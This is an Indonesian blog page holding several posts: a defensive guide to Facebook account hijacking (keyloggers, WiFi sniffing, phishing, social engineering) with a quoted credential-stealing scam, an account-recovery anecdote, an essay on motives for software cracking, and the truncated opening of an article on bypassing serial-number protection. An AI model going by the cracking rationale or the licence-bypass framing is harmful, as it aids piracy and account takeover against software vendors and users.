weLcome

  • 1
  • 1
  • 1
  • 1

Minggu, 25 September 2011

Pembajakan Account Facebook dan Cara Mencegahnya

dj-wandy:

Beberapa hari ini media memberitakan tentang pencurian password akun facebook user di beberapa tempat baik di Indonesia maupun luar negeri. Para korban mengaku setelah log out terakhir kali dan keesokan harinya mencoba log in ternyata gagal mengakses dengan beberapa alasan seperti “password dan username tidak cocok” ataupun “akun tidak eksis”.
Di beberapa social networking lainnya, seperti twitter dan plurk sempat dilaporkan kejadian yang sama pernah terjadi. Username dan password tiba-tiba tidak cocok dikarenakan sesuatu hal, atau dapat kita ambil benang merah, password mereka ada yang mengganti.

Apakah ada suatu teknik cracking untuk membobol akun facebook antar individu? Jawabannya ada beberapa. Lalu pertanyaan selanjutnya adalah, apakah ada teknik untuk melumpuhkan akun facebook atau social networking lainnya?

Teknik yang terungkap untuk menyerang akun facebook beberapa waktu lalu adalah dengan membanjiri data pada server facebook dengan teknik DDOS atau biasa dikenal dengan Distributed Denial of Service sehingga server lumpuh selama beberapa jam seperti yang terjadi pada facebook dan twitter tahun 2009 oleh cracker dari Rusia. Kemungkinan seperti ini perlu kita waspadai. 

*Keylogger*

Cara pertama menggunakan keylogger adalah cara yang sangat efektif bagi para cracker untuk mencuri password dari akun facebook anda. Dengan menginstall software dan atau hardware keylogger pada notebook maupun PC sasaran, maka otomatis segala bentuk ketukan pada keyboard maupun aktivitas browsing anda akan terekam dengan detail dan sistematis.

Sehingga jika anda mengetikan password dan username pada notebook atau PC yang telah dipasangi keylogger, anda dengan penuh kerelaan hati telah menyerahkan data pribadi sensitif tersebut pada orang yang memasangnya, karena keylogger ibarat kertas karbon yang akan membuat salinan tentang sesuatu yang ditulis diatasnya.

Keylogger biasanya dipasang oleh cracker pada terminal akses internet publik yang berbagi pakai seperti di warnet dan kampus. Maka berhati-hatilah ketika menggunakan akses seperti ini. 
  1. Pertama, jangan langsung menggunakan terminal melainkan lakukan restart.
  2. Kedua, coba cek apakah ada aplikasi tersembunyi yang berjalan di memori background, anda bisa gunakan tools event task manager (tekan tombol ctrl + alt + del pada desktop windows anda) dan perhatikan apakah ada aplikasi atau proses yang tidak biasa? Memang anda perlu sedikit belajar dan membiasakan hal ini demi keamanan anda sendiri.
  3. Ketiga, cek setting keamanan pada browser yang anda gunakan apakah secara otomatis merekam username dan password? Sebaiknya matikan fitur ini dan apabila ada fitur anti phising site bisa diaktifkan.
  4. Keempat, bersihkan/hapus cache dan history secara otomatis setiap kali menutup browser. Ini bisa anda lakukan pada setting browser.
  5. Kelima, pastikan bahwa setiap selesai melakukan kegiatan anda selalu log out dengan sempurna.


*Sniffing*

Teknik kedua adalah dengan menggunakan tools yang biasa digunakan sniffing seperti Cain and Abel pada area yang terkoneksi WiFi jadi tools tersebut memang “mencari aktifitas” pada laptop-laptop yang terkoneksi. Maka anda harus berhati-hati juga apabila sedang mobile dan mengakses HotSpot.

Pada prinsipnya akses wireless sangat mudah untuk diintip. Jangan begitu saja mempercayai SSID “Free WiFi atau Free HotSpot” saat anda scanning wireless network. Yang paling aman adalah bertanya pada pengelola HotSpot area tersebut apa SSID yang resmi? Kemudian setting akses wireless pada
notebook anda untuk tidak “auto connect” melainkan harus manual agar anda bisa meneliti terlebih dahulu.

Ketika anda melakukan akses dari jaringan WiFi HotSpot sebaiknya hindarkan transaksi pada situs yang kritis seperti e-banking, akses email, akun jejaring sosial dlsb. Browsing hal yang umum saja kecuali anda yakin benar bahwa tidak ada yang berusaha mengintip aktivitas anda dan jaringan tersebut bisa dipercaya.

Meskipun demikian, pastikan bahwa anda selalu akses dengan memilih mode secure connection yaitu menggunakan HTTPS yang biasanya ditandai dengan munculnya icon gembok terkunci pada browser anda. Dengan akses HTTPS ini maka antara anda dengan server layanan yang diakses telah dilindungi dengan enkripsi sehingga tidak mudah diintip oleh orang yang tidak berhak. Pastikan anda sudah masuk ke mode secure sebelum memasukkan username dan password atau PIN.

*Phishing*

Cara ketiga adalah dengan mengklik url yang diberikan oleh aplikasi facebook maupun via email yang mengatasnamakan facebook. Atau menjebak Anda dengan tawaran aplikasi asing pada facebook merupakan aplikasi yang lepas dari maintenance facebook sendiri.

Aplikasi tersebut dapat dibuat oleh siapa saja dan kapan saja dan random sifatnya. Untuk mencuri username dan password tersebut, biasanya korban disuruh mengakses link tersebut dan diperintahkan memberikan password dan usernamenya. Perhatikan contoh berikut:

Contoh 1:

Anda diminta untuk mengakses link tertentu:

http://www.facebook.com/l.php?u=http...f440ac31753781

Namun ketika Anda mengkliknya Anda harus log in dahulu di halaman tersebut, padahal Anda sebelumnya sudah log ini terlebih dahulu. Jangan pernah Anda masukan username ataupun password jika Anda menemui hal janggal seperti ini, karena dapat diindikasikan hal tersebut adalah phising dengan menggunakan fake log in facebook, perhatikan screenshoot di bawah:

<http://www.facebook.com/photo.php?pid=30756388&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>

Ada sesuatu yang janggal, Anda sudah log in sebelumnya dan ketika Anda mengakses link di atas Anda disuruh log in kedua kalinya. Jelas ini adalah bentuk phishing di mana sang pencuri password menipu Anda dengan mendesain halaman “orisinil” dari facebook. Perhatikan dengan baik-baik url pada kolom tempat Anda memasukan url, agar tidak menjadi korban. Dan perhatikan apabila Anda mendapatkan peringatan dari facebook semacam ini:

<http://www.facebook.com/photo.php?pid=30756389&op=1&view=all&subj=38658593 2410&aid=-1&auser=0&oid=386585932410&id=1064919678>

Munculnya halaman peringatan facebook ini menandakan bahwa Anda sebenarnya sedang mengakses situs (url) lain di luar web site resmi facebook, sehingga Anda perlu berhati-hati dan jangan pernah memberikan apabila diminta memasukkan ulang username dan password atau jangan pernah melakukan bila diminta mendownload suatu software, program, aplikasi atau dokumen tertentu yang sekilas nampaknya berguna atau menarik (misalnya games, tools dlsb.) karena bisa jadi itu sebenarnya adalah malware.

Masalahnya adalah, kebanyakan pengguna facebook kurang memperhatikan pesan peringatan seperti ini, tidak membaca isinya atau karena kurang memahami maksudnya dan kendala bahasa dan mengabaikannya. Perlu dibiasakan, apabila menjumpai hal yang tidak biasa atau meragukan bahkan Anda tidak mengerti apa maksudnya, maka tindakan paling aman adalah selalu menolak dan memilih klik tombol “cancel”. Atau langsung tutup halaman tersebut, sampai Anda mendapatkan keterangan yang terpercaya.

Contoh 2:

Dahulu ada sebuah group di dalam facebook yang memberikan teknik untuk mengambil password akun orang lain dengan alamat tersebut:

http://www.facebook.com/group.php?gid=202000763768

Kemudian kita lihat apa yang tertera pada halaman group “Cara Mengetahui Password Teman Anda” tersebut:

*1. KLIK "Join this Group" ATAU "Gabung ke Grup Ini" (hanya Anda yang telah bergabung yang bisa menggunakan fasilitas ini!)
2. KLIK "Invite People to Join" ATAU "Undang Orang untuk Bergabung"
3. CENTANG Semua teman Anda, minimal 100 orang agar bisa berjalan! (hanya teman Anda yang telah di undang yang bisa Anda lihat segala
aktivitasnya di facebook Anda!)
4. KLIK Tombol "Send Invitations" ATAU "Kirim Undangan"

kirim pesan ke admin facebook dengan mengcopy link :
http://www.facebook.com/home.php?#/i....3256059163..1

KEMUDIAN kirim pesan dengan petunjuk berikut:

.gx=0&.tm=1259467892&.rand=fnvrjkff2bk4e|(ALAMAT EMAIL Anda)/config/login?.src=fpctx&.intl=us&.done=http%3A%2F%2Fm(PAS SWORD EMAIL Anda)||202000763768&ref=nf##hl=id&source=hp&q=/7601524/id/f#id(ALAMAT EMAIL YANG AKAN Anda KETAHUI PASSWORDNYA)

klik send email

kemudian dengan menunggu konfirmasi balasan dari facebook admin dalam waktu 24jam, Anda akan mendapat email balasan dan mengetahui password facebook teman Anda.*

Perhatikan kalimat yang cetak tebal tersebut, ada sesuatu yang ganjil bukan? Anda ingin mengetahui password orang lain tetapi Anda sebelumnya disuruh memasukan password dan username Anda terlebih dahulu. Jelas ini merupakan upaya jebakan terhadap akun Anda.

Harus selalu diingat bahwa username dan password adalah sesuatu yang vital, sama seperti PIN ATM biarlah Anda, pihak bank dan Tuhan saja yang mengetahuinya. Jangan pernah berikan kepada pihak lain, apapun alasannya termasuk permintaan dari seseorang yang mengaku sebagai admin. Sebab kalau benar dia adalah admin, tentu tidak memerlukan username serta password Anda untuk melakukan maintenance atau tindakan apapun.

Terakhir, selalu ketikkan langsung alamat url situs pada jendela browser Anda. Sebab ada juga malware yang menambahkan link bookmark sehingga Anda mengira bahwa itu resmi padahal adalah penyesatan (phising).

Malware yang lebih canggih bahkan bisa merubah informasi di etc/host yang memetakan alamat url secara statik pada komputer Anda tanpa menggunakan mesin DNS. Sehingga ketika Anda mengetikkan alamat jejaring sosial ternyata diarahkan ke phising site. Karena itu sangat penting untuk selalu waspada dan memeriksa keabsahan suatu url dan mengetahui adanya ketidakwajaran walaupun agak sulit.

*Social Engineering*

Sekarang ini mulai banyak korban berjatuhan akibat upaya pembajakan akun facebook yang menggunakan teknik social engineering. Terutama memanfaatkan kelemahan prosedur akun email gratisan seperti Yahoo! Mail.

Seseorang atau cracker bisa berpura-pura menjadi Anda dan mencoba mendapatkan akses tidak sah dan membajak akun email Anda. Caranya dengan mengikuti prosedur kehilangan password.

Biasanya layanan email gratisan akan menanyakan beberapa kata kunci untuk konfirmasi seperti kombinasi “di mana tempat bulan madu Anda?” atau “siapa nama hewan peliharaan Anda yang pertama” atau “siapa nama paman atau tante yang jadi favorit Anda?”. Jawaban atau kata kunci dari pertanyaan konfirmasi seperti ini dulu pernah Anda isikan ketika pertama kali mendaftarkan akun email tersebut.

Sekarang melalui facebook, seseorang atau cracker bisa dengan mudah mengelabui Anda. Dia akan berpura-pura melamar sebagai teman Anda. Kemudian mencari tahu alamat email Anda.

Ketika dia mengetahui bahwa Anda menggunakan alamat email gratisan, maka mulailah dia mengajak Anda berkomunikasi. Dengan cara tertentu dia akan mengkorek sejumlah informasi yang seharusnya Anda rahasiakan.

Begitu Anda memberikan informasi yang diperlukan untuk mengakses prosedur kehilangan password di layanan akun email gratisan, maka si cracker akan menguasai akun email Anda. Selanjutnya dia akan melakukan prosedur yang sama kepada akun facebook Anda, yaitu pura-pura lupa password dan mencoba membajaknya.

Facebook biasanya akan mengirimkan email “password sementara” ke alamat email utama Anda yang sialnya sudah dikuasai oleh si cracker. Sehingga dengan mudah dia menguasai akun facebook Anda juga. Begitu dia mengganti password akun facebook Anda, maka selanjutnya Anda akan ditolak untuk mengakses aku facebook Anda sendiri.

Seorang cracker yang membajak akun facebook Anda biasanya akan memanfaatkannya untuk beberapa tujuan jahat. Yang pertama adalah untuk melakukan impersonating atau pemalsuan identitas dengan maksud untuk memfitnah, menjelek-jelekkan dan menjatuhkan martabat Anda sebagai pemilik akun yang sesungguhnya. Misalnya dia menyerang dan melakukan suatu tindakan yang tidak disukai teman-teman Anda sehingga di dunia nyata, semua orang menjadi memusuhi Anda tanpa Anda sadari.

Yang kedua adalah untuk menipu teman-teman Anda. Telah banyak laporan di luar negeri maupun juga di Indonesia, bahwa sejumlah orang dimintai tolong oleh teman lamanya di facebook untuk mengirimkan sejumlah uang karena beberapa alasan, yang klasik adalah mengaku kecopetan atau kerampokan atau di akhir pekan tidak bisa mengambil uang untuk pengobatan dsb. Atau mengajak bertransaksi sesuatu tapi sebenarnya akun facebook itu telah dibajak oleh
orang lain.

*Tips Pencegahan*

1. Jangan mudah menerima permintaan pertemanan dari orang yang sama sekali belum Anda kenal, terutama yang tidak memiliki mutual friend.

2. Anda selalu memiliki kesempatan untuk melakukan konfirmasi kepada teman yang ada di dalam mutual friend seseorang yang mencoba meminta
pertemanan pada Anda. Sebab memang itulah salah satu gunanya facebook menampilkan informasi mutual friend yaitu agar Anda bisa melakukan
verifikasi terlebih dahulu. Apabila teman Anda mereferensikan dan mengkonfirmasi keabsahan calon teman tersebut baru “lamaran” tersebut bisa
dipertimbangkan untuk diterima.

3. Cara lain untuk mengkonfirmasi suatu permintaan pertemanan adalah mengirimkan message kepada yang bersangkutan. Dengan komunikasi ini Anda
dapat menanyakan siapakah dia sebenarnya (seringkali nama akun yang ditampilkan adalah julukan atau nama alias yang tidak membantu Anda untuk
mengingat siapakah calon teman itu) dan melakukan konfirmasi lainnya yang diperlukan. Misalnya, melakukan komunikasi off line (telepon) atau pertemuan
on line web cam atau bahkan off line adalah cara lain untuk melakukan konfirmasi keabsahan calon teman.

4. Jangan terburu-buru dan berhati-hati dalam menyampaikan sejumlah informasi pribadi yang sekilas nampaknya tidak penting tetapi ternyata
merupakan kunci untuk membobol akun email Anda. Pertanyaan yang sepertinya menunjukkan antusiasme pada satu hal yang sama (binatang kesayangan, tempat wisata favorite, cerita tentang keluarga, memasang album foto event tertentu dlsb.) tanpa sengaja bisa memaparkan informasi pribadi yang seharusnya Anda rahasiakan.

5. Anda mungkin tanpa sadar telah memaparkan informasi yang seharusnya rahasia itu dalam profile Anda. Atau dalam words caption di album foto Anda.
Misalnya menulis nama binatang kesayangan Anda persis di bawah fotonya bahkan ada orang yang secara khusus membuatkan akun facebook untuk binatang kesayangannya lengkap dengan semua profilenya. Atau memasang foto dan menyebut lokasi bulan madu dan atau memberikan tagging pada foto keluarga (termasuk paman yang menjadi favorite Anda) dlsb. Beragam ketidaksengajaan semacam itu.

6. Berhati-hati dan pikirkanlah berkali-kali kemungkinan manfaat dan kerugiannya bila Anda harus menampilkan informasi pribadi di halaman info
akun facebook Anda. Anda punya pilihan untuk tidak menuliskan informasi itu, misalnya binatang kesayangan, toh sebenarnya apabila ada yang ingin tahu,
bisa menanyakannya secara pribadi melalui fasilitas message langsung kepada Anda. Anda juga bisa memilih setting untuk membatasi akses orang lain ke
informasi tertentu di akun facebook Anda. Misalnya Anda bisa menyembunyikan alamat email. Manfaatkan fitur setting pengamanan akun facebook ini
semaksimal mungkin dan pikirkanlah.

7. Sebisa mungkin dan jikalau memungkinkan hindari menggunakan layanan email tak berbayar untuk akun facebook Anda. Gunakanlah akun email lokal
misalnya yang diberikan oleh kantor Anda (kalau diijinkan untuk pribadi), menyewa akun email ke ISP (sebenarnya harganya murah atau bahkan gratis
apabila Anda menjadi pelanggan ISP tersebut) atau Anda membuat domain pribadi sendiri dan meminta tolong layanan jasa hosting untuk membuatkan,
apabila Anda tidak memiliki keterampilan teknis sendiri. Intinya, akun email lokal atau milik sendiri lebih aman dari teknik serangan social engineering
ini terutama karena prosedur untuk konfirmasi kehilangan password atau bila terjadi compromise biasanya dilakukan secara manual dengan teknik
identifikasi off line bukan by system yang otomatis tapi menggunakan algoritma pengamanan yang terlalu sederhana seperti layanan email gratisan.

8. Selalu tambahkan alamat email sekunder pada akun facebook Anda dan juga pada akun email gratisan yang Anda gunakan apabila memang terpaksa tidak ada pilihan selain harus menggunakan layanan tersebut. Sembunyikan atau jangan pernah Anda tunjukkan kepada siapapun dengan alasan apapun alamat email sekunder Anda itu. Dan secara periodik ubahlah semua password Anda sesuai anjuran pengamanan seperti menggunakan kombinasi huruf, angka dan karakter khusus serta panjang password minimal 6 atau 8 karakter yang sulit ditebak orang lain dan bila sulit menghapalnya jangan simpan catatannya di tempat yang mudah diketahui. Atau gunakan fasilitas aplikasi password management untuk membantu Anda. Ada banyak yang gratis.

9. Meskipun tidak lazim, namun demi untuk keamanan, backuplah data friend list Anda. Informasi penting seperti nama profile accountnya, url halaman facebooknya, alamat email dan juga telepon (kalau ada). Sehingga apabila terjadi sesuatu Anda bisa segera memberikan peringatan, misalnya melalui email dan akan berguna apabila kelak Anda membuka akun facebook yang baru dan terpaksa harus memasukkan satu per satu lagi friend list Anda tersebut. Backup memang sedikit merepotkan namun penting.

10. Apabila Anda terlanjur menjadi korban pembajakan akun facebook maka Anda dapat melakukan 4 hal.

1. Pertama, peringatkan semua orang bahwa akun Anda telah dibajak. Upaya ini bisa Anda lakukan lewat berbagai saluran seperti email, telepon, milis, chat, blog dlsb. Demi untuk mencegah orang lain, teman, famili Anda yang ada di friend list menjadi korban misalnya penipuan.

2. Kedua, patut secepatnya (Anda berlomba dengan si pembajak sebelum dia mengganti alamat email utama dan sekunder Anda) mencoba untuk mendapatkan kembali akun Anda melalui prosedur lupa atau kehilangan password. Apabila berhasil, segera ganti alamat email Anda dan passwordnya dan sembunyikan jangan ditampilkan dengan mengubah setting keamanan akun Anda. Jangan buru-buru log out untuk mencegah si pembajak mencoba mengambil alih juga. Dan jangan log out sampai Anda berhasil mengganti alamat email utama dan sekunder Anda serta mengisi password yang baru sekaligus menerapkan setting pengamanan yang lebih tertutup (melindungi/menyembunyikan alamat email Anda).

3. Ketiga, melaporkan kepada tim keamanan facebook bahwa akun Anda telah dibajak, alamatnya adalah:
http://www.facebook.com/help/?page=1023 atau apabila link tersebut telah berubah Anda dapat mencarinya di halaman HELP. Anda akan diminta mengisi form dan selanjutnya akan ada korespondensi dengan tim keamanan facebook yang akan berusaha mengkonfirasi kebenaran laporan Anda dan apabila semua berjalan dengan baik, mungkin akun Anda dapat dikembalikan. Namun pastikan bahwa sebelum melaporkan, Anda sudah memiliki alamat email yang baru dan aman.

4. Yang keempat, apabila semua upaya mengembalikan akun Anda gagal, maka segeralah membuka akun facebook baru, amankan informasinya agar tidak dibajak orang lagi dan add semua teman Anda (semoga Anda melakukan back up). Kemudian bersama-sama ajaklah mereka semuanya untuk melaporkan akun lama Anda yang dibajak tsb. Sebagai akun yang melakukan abuse, fraud, compromise dan impersonating sehingga nanti akan ditutup atau diblokir oleh facebook.

11. Yang terakhir jangan gunakan alamat email, username dan password yang sama untuk semua layanan online yang Anda ikuti. Selalu update pengetahuan Anda mengenai isu keamanan layanan jejaring sosial dan senantiasa waspada ketika aktif di dunia maya.

Mengembalikan Account Facebook Yang Dibobol

dj-wandy:

Account facebook dibobol? Nggak kebayang gimana rasanya. Sebel, sedih, marah dll campur aduk di dalam kepala. Apalagi kalo info dan wtw(wall to wall) dibalas oleh orang jail dengan kata-kata yang nggak enak dilihat. Terus kemudian kita jadi Tanya kesana kemari hanya untuk mencari orang yang bisa mengembalikan facebook kita atau sekedar tau cara dan mau berbagi kepada kita.

Oke, langsung saja sebelum itu dalam artikel ini ada beberapa persyaratan yang perlu diperhatikan yaitu account e-mail Anda tidak dibobol. Walaupun e-mail login facebook Anda sudah diganti oleh orang jail dan e-mail login Anda tersebut dihapus oleh orang jail tersebut, Anda tetap bisa mengembalikan account facebook Anda yang telah dibobol.


Pertama-tama ada skenario berikut ini.


Ardi Nursyasmu (nama disamarkan untuk kepentingan privasi :P) merupakan seorang yang sukses dan memiliki masa depan cerah karena baru saja diterima bekerja di Microsoft Corp. Dia juga terkenal pandai karena dia sekolah di Sussex, kemudian melanjutkan ke Harvard University untuk kuliah dan lulus dengan predikat cumlaude. Untuk membanggakan hasil kerja keras dan keberuntungannya, dia membuat sebuah account facebook dengan e-mail korbanmalpraktek@yahoo.com. Dan setelah berkutat di depan computer selama 2 jam, akhirnya terbentuklah profil seperti dibawah ini(maaf, Ardi Nursyamsu belum bisa mengupload foto :P).





Karena belum pernah tau tentang strong password, dia menggunakan tanggal lahirnya sebagai password dengan pikiran bahwa tidak aka nada yang peduli dengan ulang tahunya(kasiahan amat si Ardi).


rdiearth yang mengaku sebagai hacker elite(padahal newbie aja belum :P), dengan teknik yang sok rumit mencoba mendapatkan username dan password Ardi dan akhirnya berhasil. Kemudian dia login sebagai Ardi Nursyamsu.





Dasar rdiearth orangnya iseng, dia mengubah-ubah informasi di tab info Ardi sehingga jadi seperti ini.





Untuk keamanan, agar facebook yang dia bobol tidak di bobol oleh orang iseng lainnya, maka rdiearth merubah settingan username dan password Ardi dan beginilah tampilannya.





Akhirnya setelah puas, rdiearth logout dari account Ardi untuk kemudian login ke facebooknya sendiri (Saya rasa ini tidak perlu dibahas).
Ardi yang penasaran sudah berapa friend request yang diterimanya, mencoba login ke facbooknya. Namun sayang dia gagal :0.





Ardi merasa sebal. Dia mencoba berulang kali login ke accountnya tapi selalu gagal. Akhirnya dia mendapat pesan dari langit. “Hai Ardi, cobalah buka e-mail accountmu.” Ardi sempat bingung, namun akhirnya dia membuka e-mailnya. Wah, ada notification dari facebook kalau ada seseorang yang merubah username di passwordnya. Lalu dia mengeklik link untuk membatalkan perubahan tersebut.





Kemudian, muncul halaman dari facebook dibawah ini.


Ardi meng-klik tobol “Konfirmasi Permintaan” dan mengikuti instruksi selanjutnya.





Akhirnya facebook Ardi berhasil dikembalikan dan ketika rdiearth ingin melihat facebook jarahannya keesokan harinya, dia merasa gondok karena ternyata Ardi lebih pintar darinya(atau mungkin lebih beruntung :P).


Filosofi Cracking Software

dj-wandy:

Pernah dengar istilah kalau ahli komputer (and either hackers or crackers) kadang lebih filosofis dari filsuf itu sendiri? Atau istilah kalau ahli komputer kadang lebih politis dari politisi itu sendiri? Dan lebih ekonomis daripada ekonom itu sendiri? 
Filosofi Cracking Software
Oleh: Nofia Fitri
Filsafat dan Motif Cracking
Kalau kalian pernah melakukan cracking software pasti akrab sama yang namanya program dissassembler Win32dasm, or debugger Olydbg/softice Win API, sampai Ultra Edit32, Hiew, etc. Tools tersebut digunakan untuk meng-crack software, demi untuk menciptakan sesuatu yang beda!!! Dari patching, serial fishing alias hunting serial number, sampai bikin KeyGens. Suatu proses yang menantang, kalau kata filsuf ‘menjelajahi ruang dan waktu untuk menemukan solusi kehidupan.’ 
Sebelum berfilosofi diwilayah cracking software, sekedar ngingetin, kalau dulu biasanya nge-crack software mungkin hanya membutuhkan waktu 5 smpai 30 menit, tapi sekarang? Hmm kelihatannya programmer makin cerdas berstrategi dalam karya-karyanya ya. Sebagai contoh, berapa lama waktu yang kamu butuhkan untuk nemuin perintah-perintah ‘registrasi’? Istilah-istilah seperti registrasi error, incomplete or incorrect information, or bla..bla…bla… hari ini gk seutuhnya tercetak ‘percis’ alias seperti yang muncul di nag-screen begitu code-code badan software ditrace di dissassembler kamu. Mau jump sana jump sini, push sana push sini, break sana break sini, patch sana patch sini mesti sukses melewati proses panjang terlebih dulu karena perintah-perintah registrasi tersebut diproteksi dengan sempurna sama empunya alias susah dikenali or istilahnya ‘a key based protection’ salah-salah nyampelah di ‘file invalid’ alias gagal sudah karena usaha anda telah di ‘cut-down.’ Kalaupun gk nemu option itu, tetep waktu mengdissassembler software abis ditahapan awal, misalnya karena software gk punya opsi registrasi, kalau kata pemain bola ‘kerja-keras di 15 menit pertama untuk membobol pertahanan lawan.’ 


Saya gak akan ngebahas lebih jauh tentang proses dissassembler softwarenya sendiri, karena kawan-kawan pasti lebih tahu.Selanjutnya kita bermain-main dengan filosofi dari motif cracking software.


Dalam salahsatu tutorial cracking yang ditulis mahasiswa asing, dia ngungkapin ‘saya melakukan cracking software karena ilham mimpi, menjelajahi dunia dan tertantang menakhlukannya. Aneh ya kedengarannya. Ceritanya bergini, para cracker (atau pun hacker) adalah orang-orang yang senang berkelana, masuk kewilayah-wilayah yang belum pernah terjamah, mengebiri ratusan dan ribuan kode dalam bahasa pemprogaman. Prinsip mereka ‘semakin sulit software di dissassembler atau semakin susah sistem komputer satu web diakses, semakin memuncak lah adrenalin mereka untuk menaklukannya.’ Jadi salah satu motif cracking atau hacking adalah ‘kesenangan menemukan tantangan.’ 


Kalau kata Descartes bapak filsafat pencerahan ‘cogito ergo sum’ artinya ‘karena berfikir saya ada’, nah kalau waktu nge-crack otak gak dikuras abis sampe pusing tujuh-keliling jangan pernah berfikir bahwa kalian sukses ‘eksis’ sebagai si ahli komputer. Kalau dalam politik, make otak gagal saatnya make otot, tapi kalau dalam teknologi komputer, make otot buat apa? Otak adalah ‘perangkat’ utama dalam proses cracking software, bahwa si cracker dituntut untuk berfikir filosofis, ‘menemukan sesuatu yang sifatnya dasar atau fundamental (namun kadang terhidden dan memerlukan perhitungan yang matang).’ Ciri seorang filsuf adalah menemukan suatu ‘esensi’ terpendam yang ada dalam kehidupan tapi belum tersentuh manusia. "To boldly go where no one has gone before."


Motif kedua erat kaitannya dengan ‘prinsip distribusi’ (distribution) bahwa karya-karya bermanfaat tersebut seharusnya dapat dinikmati setiap pengguna komputer ataukhususnya mereka yang membutuhkan. Para cracker software seneng banget kalau tutorialnya berguna buat orang lain dan kalau software-software yang didissassemblernya disebar ke kalangan maya, nginfoin serial number or bagi-bagi Keygens, macem ‘berbuat baik untuk mendapat pahala’ J Gak jarang dari mereka yang nawarin diri untuk bantuin ngecrack software (thanks buat yg satu ini). Nah kalau diskusi sama kawan politik or hukum, mereka pasti pernah nyebut John Rawls, filsuf modern yang juga pemikir politik-hukum yang terkenal dengan prinsip ‘distribusi keadilan’ (distribution of justice). Nah buat mereka yang terlibat dalam cracking software, prinsip distribusi adalah apa yang disebut ‘fair’ (adil) dalam dunia maya, kalau dapet bocoran software yang dibebaskan orang lain maka harus memberi keadilan untuk orang lain dengan juga membebaskan software dan mendistribusikannya.


Motif ketiga mereka yang ‘melek politik-paham ekonomi’ bakal bilang ‘software-software tersebut seharusnya dapat dimanfaatin setiap orang tanpa harus membayar mahal.’ Bayangin kalau file-recover (saya smpet mo beli sebelum ktmu kawan baik hati) harganya 150 dollar, bisa buat beli memori dan hard disk baru. Suatu nafas anti-kapitalis, anti hegemoni dan eksploitasi korporasi, mengutamakan solidaritas, satu prinsip bahwa manusia sesungguhnya bebas namun terikat. Bebas berkarya, bebas merubah satu karya namun terikat oleh lingkungan dimana ia tinggal, kalau mengutip Rousseau sang fisuf politik “man was born free and he is everywhere in chains.” 
Motif terakhir, untuk tujuan pendidikan. 

Ekonomi-Politik
Nah sekarang saatnya mengkritisi motif cracking No.3. Langsung saja, kalau dalam kajian ekonomi-politik ada yang namanya ‘intangible assets’ (hal-hal berharga yang tidak dapat diraba) yang bikin software jadi mahal. Bahwa sesuatu yang lahir dari knowledge or skills sangat bernilai atau apa yang disebut dengan ‘the value of information.’ Karena begitu berharganya ‘karya cipta’ tersebut si programmer yang kekeh sama prinsip ‘fundamental paradox of information’ gak akan secara gampang ngejual karya ciptanya ke perusahaan, simple karena dia gak mau softwarenya dimonopoli sama satu korporasi tertentu. Tapi ada juga programmer yang otaknya ‘uang’ aja, berstrategi supaya karya ciptanya bisa menghasilkan profit, karenanya informasi sangat mahal dan berfikir dua kali untuk menyerahkannya ke korporat. Kalau programmer kasih software tapi gk kasih informasi gimana cara buat softwarenya, gimana perusahaan mau deal? Nah untuk mengakomodasi hal tersebut alhasil terbentuklah apa yang namanya ‘Firms’ horizontal integration’ dimana satu software dihandle (diproduksi dan didistribusi) sama lebih dari satu perusahaan untuk menjamin tidak adanya monopoli. Tapi gimanapun juga karena perusahaan pastinya berorientasi profit, jadilah software-software tersebut terjual mahal karena mempertimbangkan profit untuk lebih dari satu perusahaan.


Jadi kalau RMS sejak lama berteriak soal open sources dan kemerdekaan software, ini persoalannya. Untuk menjawab ‘luka batin’ para programmer kalau perusahaan-perusahaan berorientasi profit tersebut bakal memonopoli produk. Kenyataannya sama juga kan, tidak dimonopoli pun melibatkan banyak perusahaan, jatuhnya mahal-mahal juga. Ya itulah ekonomi-politik, makanya lumrah kalau aksi-aksi hacking or cracking berangkat dari mereka yang menentang monopoli korporat atas satu karya cipta, itulah politik. Sekali lagi programmer kadang lebih politis dari politisi itu sendiri. Yang juga mungkin bisa bikin kalian buka mata, pernah denger politisasi anti-virus, kalau virus-virus komputer yang beredar sesungguhnya diciptakan oleh para perusahaan pembuat anti-virus. Kalau masalah tidak diciptakan, maka tidak ada pasar, alias kalau gk ada virus siapa yang mau beli anti-virus… J
Sampai sini dapat pointnya?


Saya cuma mau ngajak kawan-kawan bermain-main sedikit dengan filsafat dan ekonomi-politik dalam kaitannya dengan pembangunan teknologi (komputer), jadi kitabisa melihat segala sesuatunya dari berbagai sudut pandang. 


Memahami filosofi dalam berkomputer-ria adalah bahwa dalam melakukan suatu aksi kita selalu dilandasi oleh sebuah pandangan atau alasan ‘kenapa sampai berbuat hacking or cracking’ gk sebatas iseng, just for fun, keuntungan pribadi atau nguji kesabaran orang lain. Kalau bermaksud menguji kemampuan pribadi, jangan pernah lupa kalau kalian hidup ditengah2 masyarakat yang berbeda kepribadian.


Artikel ini tidak menganjurkan atau melegalkan ‘cracking’ terhadap software-software komputer, karena sesungguhnya software adalah ‘produk intelektual’ programmer yang mesti dihargai, hanya saja dihakciptakan perusahaan ‘yang memproduksi dan mendistribusikan.’ Sekarang balik lagi ke urusan manusia dan filosofi aksi-aksi mereka. Apa bener kalau yang bikin software itu alias si programmer sepakat ciptaannya di jual mahal ke publik? Balik lagi deh nanya ke si programmer, mereka bakal jawab ‘programmer juga manusia.’ J Kalau nanya ke produser or distributornya mereka juga bakalan jawab ‘pasar perlu produk sementara produser perlu modal, hasilnya sama-sama mendapat profit.’

Menembus Proteksi Serial Number & Password

dj-wandy:

Latar belakang 
Mungkin dalam keseharian ada di antara kita yang tidak sengaja menghilangkan Password
atau Serial Number dari program yang sudah kita beli. Kalau sudah begitu tentunya repot. Untuk
mendapatkannya kembali bisa saja dengan menghubungi toko retail maupun vendor program
tempat program tersebut dibeli. Namun, jika ada peraturan dari vendor yang mengharuskan
membeli ulang password maupun serial number yang hilang, bagaimana? Bagi Anda mungkin itu
bukan masalah . Tapi bagi Saya itu mungkin salah satu masalah besar.
Dari kasus inilah Saya mencoba menerapkan kegunaan Win32 Hook. Sekedar informasi,
teknik seperti ini sering digunakan oleh para Reverser di dunia Reverse Engineering. Untuk
melakukan debugging file berukuran besar bukan hal yang mudah, memerlukan waktu lama dan
harus didukung dengan hardware yang cukup mewah. Bayangkan saja debugging file berukuran
diatas 100 MB dan didalamnya mengandung Crypto RSA?!?! Kalau Saya sih membayangkan saja
sudah tidak mau, apalagi benar-benar mempraktekkannya.. MALAS!
Paper ini bukanlah sebuah tutorial, tetapi hanyalah sebuah informasi. Implementasi dari
